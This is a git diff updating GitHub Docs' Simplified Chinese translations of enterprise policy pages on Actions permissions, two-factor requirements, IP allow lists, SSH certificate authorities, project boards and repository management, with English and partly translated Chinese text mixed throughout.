-{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)."
+{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. 您可以执行策略来控制 {% data variables.product.product_name %} 上的企业成员如何使用 {% data variables.product.prodname_actions %}。 By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)."
 
 ## Enforcing a policy to restrict the use of actions in your enterprise
 
-You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise.
+您可以选择对企业中的所有组织禁用 {% data variables.product.prodname_actions %}，或只允许特定的组织。 您还可以限制公共操作的使用，以使人们只能使用您的企业中存在的本地操作。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.actions.enterprise-actions-permissions %}
-1. Click **Save**.
+1. 单击 **Save（保存）**。
 
 {% ifversion ghec or ghes or ghae %}
 
@@ -52,11 +52,11 @@ You can choose to disable {% data variables.product.prodname_actions %} for all
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. 在 **Policies（策略）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。
    {%- ifversion ghes > 3.0 or ghae-issue-5094 %}
-   ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
    {%- elsif ghae %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
    {%- endif %}
 {% endif %}
 
@@ -113,15 +113,14 @@ You can enforce policies to control how {% data variables.product.prodname_actio
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose the restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings.
+您可以在企业、组织或仓库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果您在企业设置中选择受限制的选项为默认值，这将防止在组织或仓库设置中选择更多的允许设置。
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
-1. Click **Save** to apply the settings.
+1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此企业设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
+1. 单击 **Save（保存）**以应用设置。
 
 {% endif %}
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
index 580c1dcf78..f4108863c8 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for security settings in your enterprise
 intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for security settings in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/enforcing-security-settings-for-organizations-in-your-business-account
@@ -34,29 +33,27 @@ You can enforce policies to control the security settings for organizations owne
 
 Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their personal accounts.
 
-Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)."
+Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. 更多信息请参阅“[使用双重身份验证 (2FA) 保护您的帐户](/articles/securing-your-account-with-two-factor-authentication-2fa/)”。
 
 {% warning %}
 
-**Warnings:**
+**警告：**
 
-- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their personal account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. 他们还会失去对组织私有仓库的复刻的访问权限。 如果他们在从您的组织中删除后的三个月内为其个人帐户启用双重身份验证，您可以恢复其访问权限和设置。 更多信息请参阅“[恢复组织的前成员](/articles/reinstating-a-former-member-of-your-organization)”。
 - Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their personal account after you've enabled required two-factor authentication will automatically be removed from the organization.
 - If you're the sole owner of a enterprise that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the enterprise.
 
 {% endwarning %}
 
-Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+在您要求使用双重身份验证之前，我们建议通知组织成员、外部协作者和帐单管理员，并要求他们为帐户设置双重身份验证。 组织所有者可以查看成员和外部协作者是否已在每个组织的 People（人员）页面上使用 2FA。 更多信息请参阅“[查看组织中的用户是否已启用 2FA](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)”。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**.
-  ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png)
-6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**.
-  ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png)
-7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation.
+4. 在“Two-factor authentication（双重身份验证）”下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Two-factor authentication（双重身份验证）”下，选择 **Require two-factor authentication for all organizations in your business（对您企业中的所有组织要求双重身份验证）**，然后单击 **Save（保存）**。 ![要求双重身份验证的复选框](/assets/images/help/business-accounts/require-2fa-checkbox.png)
+6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**. ![确认双重实施框](/assets/images/help/business-accounts/confirm-require-2fa.png)
+7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. 每个人都必须启用双重身份验证，然后才能接受您的邀请。
 
 {% endif %}
 
@@ -66,7 +63,7 @@ Before you require use of two-factor authentication, we recommend notifying orga
 
 {% ifversion ghae %}
 
-You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. 更多信息请参阅“[限制到企业的网络流量](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)”。
 
 {% elsif ghec %}
 
@@ -74,11 +71,11 @@ Enterprise owners can restrict access to assets owned by organizations in an ent
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+您还可以为单个组织配置允许的 IP 地址。 更多信息请参阅“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)”。
 
-### Adding an allowed IP address
+### 添加允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -87,20 +84,19 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-### Allowing access by {% data variables.product.prodname_github_apps %}
+### 允许 {% data variables.product.prodname_github_apps %} 访问
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-### Enabling allowed IP addresses
+### 启用允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-3. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+3. 在“IP allow list（IP 允许列表）”下，选择 **Enable IP allow list（启用 IP 允许列表）**。 ![允许 IP 地址的复选框](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. 单击 **Save（保存）**。
 
-### Editing an allowed IP address
+### 编辑允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -108,9 +104,9 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. 单击 **Update（更新）**。
 
-### Deleting an allowed IP address
+### 删除允许的 IP 地址
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -118,7 +114,7 @@ You can also configure allowed IP addresses for an individual organization. For
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-### Using {% data variables.product.prodname_actions %} with an IP allow list
+### 对 {% data variables.product.prodname_actions %} 使用 IP 允许列表
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
 
@@ -128,9 +124,9 @@ You can also configure allowed IP addresses for an individual organization. For
 
 ## Managing SSH certificate authorities for your enterprise
 
-You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} 更多信息请参阅“[关于 SSH 认证中心](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)”。
 
-### Adding an SSH certificate authority
+### 添加 SSH 认证中心
 
 {% data reusables.organizations.add-extension-to-cert %}
 
@@ -140,9 +136,9 @@ You can use a SSH certificate authorities (CA) to allow members of any organizat
 {% data reusables.organizations.new-ssh-ca %}
 {% data reusables.organizations.require-ssh-cert %}
 
-### Deleting an SSH certificate authority
+### 删除 SSH 认证中心
 
-Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again.
+对 CA 的删除无法撤销。 如果以后要使用同一 CA，您需要重新上传该 CA。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -151,7 +147,7 @@ Deleting a CA cannot be undone. If you want to use the same CA in the future, yo
 
 {% ifversion ghec or ghae %}
 
-## Further reading
+## 延伸阅读
 
 - "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"
 
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
index 251c60ac98..37f0d4dffd 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing project board policies in your enterprise
 intro: 'You can enforce policies for projects within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for project boards in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
   - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
@@ -24,26 +23,24 @@ shortTitle: Project board policies
 
 ## About policies for project boards in your enterprise
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. 更多信息请参阅“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。
 
-## Enforcing a policy for organization-wide project boards
+## 实施组织范围项目板的策略
 
 Across all organizations owned by your enterprise, you can enable or disable organization-wide project boards, or allow owners to administer the setting on the organization level.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization project board policy options](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
+4. 在“Organization projects”（组织项目）下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Organization projects”（组织项目）下，使用下拉菜单并选择策略。 ![带有组织项目板策略选项的下拉菜单](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
 
-## Enforcing a policy for repository project boards
+## 实施仓库项目板的策略
 
 Across all organizations owned by your enterprise, you can enable or disable repository-level project boards, or allow owners to administer the setting on the organization level.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Repository projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository project board policy options](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
+4. 在“Repository projects”（仓库项目）下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Repository projects”（仓库项目）下，使用下拉菜单并选择策略。 ![带有仓库项目板策略选项的下拉菜单](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
index be790e0250..be965ea492 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing repository management policies in your enterprise
-intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: 在企业中实施仓库管理策略
+intro: 您可以在企业组织内执行仓库管理策略，或允许在每个组织中设置策略。
 permissions: Enterprise owners can enforce policies for repository management in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
   - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
@@ -44,20 +43,20 @@ topics:
   - Policies
   - Repositories
   - Security
-shortTitle: Repository management policies
+shortTitle: 仓库管理策略
 ---
 
-## About policies for repository management in your enterprise
+## 关于企业中的仓库管理策略
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)."
+您可以执行策略来控制企业在 {% data variables.product.product_name %} 上的企业成员如何管理仓库。 您也可以允许组织所有者管理仓库管理策略。 更多信息请参阅“[创建和管理仓库](/repositories/creating-and-managing-repositories) ”和“[组织和团队](/organizations)”。
 
 {% ifversion ghes or ghae %}
 
-## Configuring the default visibility of new repositories
+## 配置新仓库的默认可见性
 
-Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+每次有人在您的企业上创建新仓库时，此人必须选择仓库的可见性。 当您配置企业的默认可见性设置时，需要选择默认可见性。 有关仓库可见性的更多信息，请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)。”
 
-If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+如果企业所有者不允许成员创建某种类型的仓库，成员将无法创建此类仓库，即使可见性设置默认为此类型。 更多信息请参阅“[设置仓库创建策略](#setting-a-policy-for-repository-creation)”。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -66,142 +65,133 @@ If an enterprise owner disallows members from creating certain types of reposito
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Default repository visibility", use the drop-down menu and select a default visibility.
-  ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
+1. 在“默认仓库可见性”下，使用下拉菜单并选择默认可见性。 ![用于选择企业的默认仓库可见性的下拉菜单](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
 {% endif %}
 
-## Enforcing a policy for {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permissions
+## 执行 {% ifversion ghec or ghes > 3.1 or ghae %}基础{% else %}默认{% endif %} 仓库权限的策略
 
-Across all organizations owned by your enterprise, you can set a {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level.
+在企业帐户拥有的所有组织中，您可以为组织成员设置{% ifversion ghec or ghes > 3.1 or ghae %}基础{% else %}默认{% endif %}仓库权限级别（无、读取、写入或管理），或允许所有者在组织级别管理设置。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-4. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy.
+4. 在“{% ifversion ghec or ghes > 3.1 or ghae %}基础{% else %}默认{% endif %} 权限”下，查看有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“{% ifversion ghec or ghes > 3.1 or ghae %}基础{% else %}默认{% endif %} 权限”下，使用下拉菜单并选择策略。
   {% ifversion ghec or ghes > 3.1 or ghae %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
+  ![带有仓库权限策略选项的下拉菜单](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
   {% else %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)  
+  ![带有仓库权限策略选项的下拉菜单](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)
   {% endif %}
 
-## Enforcing a policy for repository creation
+## 执行仓库创建策略
 
-Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. If you allow members to create repositories, you can choose whether members can create any combination of public, private, and internal repositories. {% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)."
+在企业拥有的所有组织中，您可以允许成员创建仓库、将仓库创建限于组织所有者或允许所有者在组织级别管理设置。 如果允许成员创建仓库，您可以选择成员能否创建公共、私有和内部仓库的任意组合。 {% data reusables.repositories.internal-repo-default %} 有关内部仓库的更多信息，请参阅“[创建内部仓库](/articles/creating-an-internal-repository)”。
 
 {% data reusables.organizations.repo-creation-constants %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Repository creation”下，检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.repo-creation-policy %}
 {% data reusables.enterprise-accounts.repo-creation-types %}
 {% else %}
-6. Under "Repository creation", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository creation policies](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
+6. 在“Repository creation（仓库创建）”下，使用下拉菜单并选择策略。 ![包含仓库创建策略的下拉菜单](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
 {% endif %}
 
-## Enforcing a policy for forking private or internal repositories
+## 实施有关复刻私有或内部仓库的策略
 
-Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level.
+在企业拥有的所有组织中，您可以允许有权访问私有或内部仓库的人员复刻仓库、永远不允许分支私有或内部仓库，或者允许所有者在组织级别管理设置。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository forking", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
-  
-## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories
+3. 在“Repository forking”（仓库复刻）下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. 在“Repository forking（仓库复刻）”下，使用下拉菜单并选择策略。 ![带有仓库复刻策略选项的下拉菜单](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
 
-Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, or allow owners to administer the setting on the organization level.
+## 执行邀请{% ifversion ghec %} 外部{% endif %} 协作者参与仓库的策略
+
+在您的企业帐户拥有的所有组织中，您可以允许成员邀请{% ifversion ghec %}外部{% endif %}协作者加入仓库、将{% ifversion ghec %}外部协作者{% endif %}邀请限制为组织所有者或允许所有者在组织级别管理设置。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy.
+3. 在“仓库 {% ifversion ghec %}外部协作者{% elsif ghes or ghae %}邀请{% endif %}”下，请查看有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. 在“仓库 {% ifversion ghec %}外部协作者{% elsif ghes or ghae %}邀请{% endif %}”下，使用下拉菜单并选择策略。
   {% ifversion ghec %}
-  ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
+  ![带有外部协作者邀请策略选项的下拉菜单](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
   {% elsif ghes or ghae %}
-  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)  
+  ![带邀请策略选项的下拉菜单](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)
   {% endif %}
-  
+
 {% ifversion ghec or ghes or ghae %}
 
-## Enforcing a policy for the default branch name
+## 对默认分支名称实施策略
 
-Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one.
+在企业拥有的所有组织中，您可以为成员创建的任何新仓库设置默认分支名称。 您可以选择在所有组织中强制实施默认分支名称，或允许个别组织设置不同的名称。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use.
-    ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png)
-4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**.
-    ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png)
+3. 在 **Repository policies（仓库策略）**选项卡的“Default branch name（默认分支名称）”下，输入新仓库应使用的默认分支名称。 ![输入默认分支名称的文本框](/assets/images/help/business-accounts/default-branch-name-text.png)
+4. （可选）要对企业中的所有组织强制实施默认分支名称，请选择 **Enforce across this enterprise（在整个企业中实施）**。 ![强制实施复选框](/assets/images/help/business-accounts/default-branch-name-enforce.png)
+5. 单击 **Update（更新）**。 ![更新按钮](/assets/images/help/business-accounts/default-branch-name-update.png)
 
 {% endif %}
 
-## Enforcing a policy for changes to repository visibility
+## 执行更改仓库可见性的策略
 
-Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository.
+在您的企业拥有的所有组织中，您可以允许具有管理员权限的成员更改仓库的可见性、将仓库可见性更改限制为组织所有者或允许所有者在组织级别管理设置。 当您阻止成员更改仓库可见性时，只有企业所有者可以更改仓库的可见性。
 
-If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+如果企业所有者仅允许组织所有者创建仓库，则成员将无法更改仓库可见性。 如果企业所有者只允许私有仓库成员创建私有仓库，则成员只能将仓库的可见性更改为私有。 更多信息请参阅“[设置仓库创建策略](#setting-a-policy-for-repository-creation)”。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
